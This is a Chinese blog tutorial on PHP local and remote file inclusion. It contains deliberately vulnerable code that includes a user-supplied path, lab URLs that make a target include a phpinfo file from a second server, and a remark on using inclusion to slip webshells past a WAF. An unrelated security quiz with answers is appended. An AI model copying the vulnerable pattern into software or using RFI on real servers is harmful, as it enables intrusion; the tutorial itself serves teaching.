【文件包含漏洞02】文件包含漏洞原理及本地远程两种攻击方式

1 文件包含漏洞

1.1 概述

  1. 概述:文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
  2. 文件包含分类:
    (1)本地文件包含LFI(local file include)当被包含的文件在服务器本地时,就形成本地文件包含。
    (2)远程文件包含RFI(remote file include)当被包含的文件在第三方服务器时,叫做远程文件包含。
  3. 文件包含漏洞分类:
    (1)本地文件包含漏洞:当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
    (2)远程文件包含漏洞:当php.ini 中的配置选项allow_url_fopen和allow_url_include均为ON的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。
  4. 背景:随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。

1.2 原因

  1. 原因一:Web应用使用了动态包含。如以下代码,在第2行中定义了变量path并赋值,在第5行中文件包含了该变量。
<?php
$path = "./inc.php";
include ("./inc.php");
echo "<h1>This is include.php!</h1>";
include $path;
?>
  1. 原因二:动态包含的文件路径参数,客户端可控。如以下代码,变量path是从客户端请求中获取的,是用户可以控制的。
<?php
$path = $_GET['path'];
include ("./inc.php");
echo "<h1>This is include.php!</h1>";
include $path;
?>
  1. 原因三:未对用户输入参数进行全面过滤。

1.3 危害

  1. 严重性:一旦服务器存在文件包含漏洞,基本上会致使一切防御失效。像中国蚁剑、大马等,很多时候过不了安全狗,但是如果存在文件包含则可以利用该漏洞过狗。
  2. 两个特点:
    1. 无视文件扩展名读取文件。包含文件时,PHP会读取文件的源码,包括图片文件等。
    2. 无条件解析PHP代码。文件包含在读取文件源码的同时,如果遇到符合PHP语法规范的代码,就会无条件执行。

2 攻击实验

2.1 实验环境

  1. 本文实验基于WAMP环境进行测试,环境部署过程参考文章《win2008R2SP1+WAMP环境部署》。
  2. 在该环境网站根目录下,新建文件夹test,在test文件夹下新建以下文件进行实验。
  3. 新建一个txt文件,输入以下代码,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>

2.2 实验一:本地文件包含攻击

  1. 通过文件上传等其他手段,在网站目录及子目录下生成了info.php文件,文件代码如下:<?php phpinfo();?>
  2. 在真实机访问该网站,输入URL为http://192.168.1.4/test/include.php时,显示结果如下。由于代码第二行的path没有传入,弹出了提示;在第四行文件包含语句没有找到对应的文件,弹出警告。
    在这里插入图片描述
  3. 将URL修改为http://192.168.1.4/test/include.php?path=info.php,显示结果如下。可以看到参数成功传入给path,并在文件包含语句中被执行,也就是说存在于本地的一个文件被客户端控制着执行了,如果这个文件来历不明存在恶意代码则服务器被攻击。
    在这里插入图片描述

2.3 实验二:远程文件包含攻击

  1. 靶机上的网站和文件和实验一一样。

  2. 准备攻击靶机,让靶机的include.php文件以远程文件包含的方式来执行info.php,浏览器访问时将URL修改为http://192.168.1.4/test/include.php?path=http://192.168.1.4/test/info.php。可以看到网页显示如下,说该靶机服务器不允许include函数调用远程文件。
    在这里插入图片描述

  3. 这时候,如果靶机服务器的配置文件php.ini中将allow_url_include参数配置为On,就存在着被利用远程文件包含攻击的危险。将靶机配置文件修改如下并重启phpstudy。
    在这里插入图片描述

  4. 真实机浏览器再次访问http://192.168.1.4/test/include.php?path=http://192.168.1.4/test/info.php。可以看到远程文件被执行。
    在这里插入图片描述

  5. 上面的方式是以远程文件包含的方式访问本地的文件,接下来演示真的以远程文件包含的方式访问远程文件。这需要我们在另一台虚拟机系统上部署另一个网站,该网站上存在一个文件info.php,文件代码如下:<?php phpinfo();?>。该文件的网络地址为http://192.168.1.7/info.php
    在这里插入图片描述

  6. 真实机浏览器访问http://192.168.1.4/test/include.php?path=http://192.168.1.7/info.php。可以看到远程文件被执行,此时执行的文件位于第二台服务器上,PHP版本与第一台不一样。
    在这里插入图片描述

2.4 实验对比

实验一执行phpinfo()语句是在靶机本地,所以返回的PHP版本为5.4.45;实验二中第一次执行phpinfo()是本地的文件,PHP版本为5.4.45,第二次执行的phpinfo()是在另一个服务器上,只是将执行结果反馈给靶机,所以返回的PHP版本是5.2.17。

3 总结

  1. 理解文件包含漏洞产生的原因;
  2. 掌握本地与远程利用漏洞的方式。
  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
网络安全知识竞赛小测试 -网络攻击技术 1、通过寻找目标的安全漏洞、盗窃存放系统口令的文件、破译加密的口令,属于哪种行为( ) [单选题] * A.破解系统口令文件(正确答案) B.网络嗅探 C.键盘记录 D.中间人攻击 2、关于摆渡攻击的描述错误的是( )[单选题] * A.摆渡攻击是百度的一种攻击方式(正确答案) B.摆渡攻击是一种专门针对移动存储设备的攻击方式 C.摆渡攻击就是利用 u 盘作为"渡船" D.摆渡木马隐蔽性、针对性很强,一般只感染特定的计算机 3、以下选项中( )不属于 APT 攻击的特点。[单选题] * A.潜伏性 B.针对性 C.社会工程性 D.传染性(正确答案) 4、比特币是( )[单选题] * A.美国法定货币 B.网络通用电子货币 C.国际通用货币 D.有一定流通性和认可性的虚拟货币(正确答案) 5、使网络服务器中充斥着大量要求回复的信息,消耗带宽,导致网络或系统停止正常服务,这 属于什么攻击类型( )[单选题] * A.拒绝服务(正确答案) B.文件共享 C.BIND 漏洞 D.远程过程调用 6、关闭 WIFI 的自动连接功能可以防范( )[单选题] * A.所有恶意攻击 B.假冒热点攻击(正确答案) C.恶意代码 D.拒绝服务攻击 7、下列哪个不是 QQ 中毒的主要症状( )[单选题] * A.QQ 老是掉线,提示异地登陆 B.QQ 空间存在垃圾广告日志 C.自动给好友发送垃圾消息 D.登录时无网络连接(正确答案) 8、从网络攻击的位置来分,可以分为远程攻击和( )两种。[单选题] * A.本地攻击(正确答案) B.主动攻击 C.被动攻击 D.伪远程攻击 9、黑客在攻击中进行端口扫描可以完成( )。[单选题] * A.检测黑客自己计算机已开放哪些端口 B.口令破译 C.获知目标主机开放了哪些端口服务(正确答案) D.截获网络流量 10、许多黑客攻击都是利用软件实现中的缓冲区溢出的漏洞,对于这一威胁,最可靠的解决方 案是( )[单选题] * A.安装防火墙 B.给系统安装最新的补丁(正确答案) C.安装入侵检测系统 D.安装防病毒软件 11、Man-in-the-middle 攻击,简称 MITM,即( )[单选题] * A.重放攻击 B.拒绝服务攻击 C.中间人攻击(正确答案) D.后门漏洞攻击 12、使用漏洞库匹配的扫描方法,能发现( )[单选题] * A.未知的漏洞 B.已知的漏洞(正确答案) C.自行设计的软件中的漏洞 D.所有漏洞 13、哪一项不是防范漏洞的措施( )[单选题] * A.使用正版软件 B.关注信息安全新闻 C.利用补丁 D.使用盗版软件(正确答案) 14、以下关于黑帽子描述正确的是( )[单选题] * A.获得国际资质的黑客 B.没有获得国际资质的骇客 C.没有获得国际资质的高级程序员 D.放弃道德信念而恶意攻击的黑客(正确答案) 15、以下不能防止拖库的方法是( )[单选题] * A.重要帐号单独管理,其他的帐号无所谓 B.可以电脑允许自动"保存密码",但定期修改密码 C.分级管理密码,把密码记录在本地磁盘的某个特定的文档中 D.以上全部(正确答案) 16、摆渡攻击通常不会用以下哪个途径来窃取资料( )[单选题] * A.摄像头(正确答案) B.U 盘 C.移动硬盘 D.移动载体 17、心脏出血漏洞与以下哪个协议直接相关( )[单选题] * A.HTTP B.SSL(正确答案) C.TCP D.SMTP 18、中国工商银行的官网为 http://www.icbc.com.cn,某同学从网上获取到一个网址为 http://www.icdc.com.cn,用浏览器打开后跟官网的几乎完全相同。针对第二个网址以下说法 正确的是:( )[单选题] * A.该网站是工商银行网站的备份网站,可以放心使用。 B.该网站可能属于钓鱼网站,冒充工商银行网站进行诈骗活动。(正确答案) C.先确保防火墙已经打开,防病毒软件已正确工作,然后放心打开并使用。 D.发给同学让同学去打开,确保安全后再用 19、攻击者常用的攻击工具有(1)DoS 攻击工具,(2)木马程序,(3)分布式工具。其中 DoS 是指( )[单选题] * A.一种磁盘操作系统 B.拒绝服务(正确答案) C.一种黑客工具软件的名称 D.一种病毒的名称 20、TCP SYN 泛洪攻击原理是利用了( )[单选题] * A.TCP 三次握手过程(正确答案) B.TCP 面向流的工作机制 C.TCP 数据传输中的窗口技术 D.TCP 连接终止时的 FIN 报文 21、以下对 TCP 协议发起连接进行三次握手的叙述错误的是( )[单选题] * A.握手第一步:客户端发送一个 SYN 和 ACK 报文到服务器(正确答案) B.握手第二步:

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值